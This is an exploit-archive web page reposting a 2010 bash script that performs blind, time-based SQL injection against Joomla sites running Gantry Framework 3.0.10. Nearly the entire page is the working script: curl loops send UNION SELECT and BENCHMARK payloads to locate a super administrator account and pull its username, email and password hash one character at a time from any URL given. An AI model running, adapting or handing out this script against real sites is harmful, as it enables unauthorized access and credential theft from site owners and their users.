首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Gantry Framework 3.0.10 (Joomla) Blind SQL Injection Exploit
来源:vfocus.net 作者:jdc 发布时间:2010-09-07  
#!/bin/bash
# Exploit Title: Gantry Framework 3.0.10 (Joomla) Blind SQL Injection
Exploit
# Date: 4 September 2010
# Author: jdc
# Software Link: http://www.gantry-framework.org
# Version: 3.0.10
# Patched: 3.0.11
if [ "$1" == "" ]
then
     echo "$0 usage: $0 url [debug]"
     echo ""
     exit 1
fi
clear
echo "##############################################################"
echo "##   Gantry Framework 3.0.10 Blind SQL Injection Exploit    ##"
echo "##############################################################"
echo ""
echo "   Probing target $1 ..."
echo ""
GANTRY_PATH="$1/index.php"
GANTRY_TIMEOUT="5"
GANTRY_DELAY="10"
GANTRY_AGENT='Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)'
GANTRY_DATA="option=com_gantry&tmpl=gantry-ajax&model=module&moduleid="
GANTRY_BENCHMARK="10000000"
GANTRY_ADMIN_ID=""
GANTRY_OUTPUT=""
GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16"
GANTRY_TEST=`curl -s -A "$GANTRY_AGENT" -d "$GANTRY_DATA$GANTRY_EXPLOIT"
"$GANTRY_PATH"`
GANTRY_REQUESTS="1"
if [ "Direct access not allowed." != "$GANTRY_TEST" ]
then
     echo $GANTRY_TEST
     echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
     echo "!! Site not vulnerable. Bailing! !!"
     echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
     echo ""
     echo "$GANTRY_REQUESTS requests"
     echo ""
     exit 1
fi
echo -n "   Trying to get a super admin id... "
for N in `seq 62 9999`
do
   
  GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,IF((SELECT%20id%20FROM%20%23__users%20WHERE%20gid=25%20AND%20id=$N),BENCHMARK($GANTRY_BENCHMARK,MD5(1)),16)"
     GANTRY_TIME="`curl -s -A "$GANTRY_AGENT" -o /dev/null -w
'%{time_total}' -H 'X-Requested-With: XMLHttpRequest' -d
"$GANTRY_DATA$GANTRY_EXPLOIT" $GANTRY_PATH`"
     GANTRY_REQUESTS=`echo "$GANTRY_REQUESTS + 1" | bc`
     if [ "" != "$2" ]
     then
         printf "$N"
         echo "  $GANTRY_TIME"
     fi
     if [ `echo "$GANTRY_TIME > $GANTRY_TIMEOUT" | bc` == 1 ]
     then
         GANTRY_ADMIN_ID="$N"
         break
     fi
     sleep $GANTRY_DELAY
done
if [ "" == $GANTRY_ADMIN_ID ]
then
     echo "FAILED!"
     echo ""
     echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
     echo "!!       Injection FAILED!       !!"
     echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
     echo ""
     echo "$GANTRY_REQUESTS requests"
     echo ""
     exit 1
fi
echo $GANTRY_ADMIN_ID
echo "   Fetching admin info (this WILL take a while)... "
echo ""
echo -n " > "
for I in `seq 1 250`
do
     GANTRY_LENGTH=`echo "$GANTRY_OUTPUT" | wc -c`
     GANTRY_CONTINUE=0
     #a,d,m,i,n,b-c,e-h,j-l,o-z,A-Z,0-9,special chars
     for J in `seq 97 97;seq 100 100;seq 109 109;seq 105 105;seq 110
110;seq 98 99;seq 101 104;seq 106 108;seq 111 122;seq 65 90;seq 48
57;seq 32 47;seq 58 64;seq 91 96;seq 123 126`
     do
         if [ 1 == $GANTRY_CONTINUE ]
         then
             continue
         fi
         sleep $GANTRY_DELAY
       
  GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,IF((SELECT%20id%20FROM%20%23__users%20WHERE%20gid=25%20AND%20id=$GANTRY_ADMIN_ID%20AND%20ASCII(SUBSTRING(CONCAT(username,0x3a,email,0x3a,password),$I,1))=$J),BENCHMARK(10000000,MD5(1)),16)"
         GANTRY_TIME="`curl -s -A "$GANTRY_AGENT" -o /dev/null -w
'%{time_total}' -H 'X-Requested-With: XMLHttpRequest' -d
"$GANTRY_DATA$GANTRY_EXPLOIT" $GANTRY_PATH`"
         GANTRY_REQUESTS=`echo "$GANTRY_REQUESTS + 1" | bc`
         if [ "" != "$2" ]
         then
             printf "\x$(printf %x $J)"
             echo "  $GANTRY_TIME"
         fi
         if [ `echo "$GANTRY_TIME > $GANTRY_TIMEOUT" | bc` == 1 ]
         then
             LETTER=`printf "\x$(printf %x $J)"`
             GANTRY_OUTPUT="$GANTRY_OUTPUT$LETTER"
             GANTRY_CONTINUE=1
             if [ "" == "$2" ]
             then
                 echo -n "$LETTER"
             fi
         fi
     done
     GANTRY_LENGTH2=`echo "$GANTRY_OUTPUT" | wc -c`
     if [ "$GANTRY_LENGTH" == "$GANTRY_LENGTH2" ]
     then
         break
     fi
done
echo ""
if [ "$GANTRY_OUTPUT" == "" ]
then
     echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
     echo "!!       Injection FAILED!       !!"
     echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
     echo ""
     echo "$GANTRY_REQUESTS requests"
     echo ""
     exit 1
fi
echo ""
echo "$GANTRY_OUTPUT"
echo ""
echo "$GANTRY_REQUESTS requests"
echo ""
exit 0
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·myBB 1.0.6 Denial of Service E
·HP OpenView NNM webappmon.exe
·IZArc DLL Hijacking (ztv7z.dll
·phpcrs <= 3.Za / Local File In
·win32/vista sp1 ING. (cmd.exe)
·phpBB 3.0.7-PL1 - Denial Of Se
·Novell Netware NWFTPD RMD/RNFR
·SMF 2.0 RC3 - Denial Of Servic
·Java Bridge v. 5.5 Directory T
·Windows Media Player 11 DLL Hi
·ColdCalendar 2.06 SQL Injectio
·Trend Micro Internet Security
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved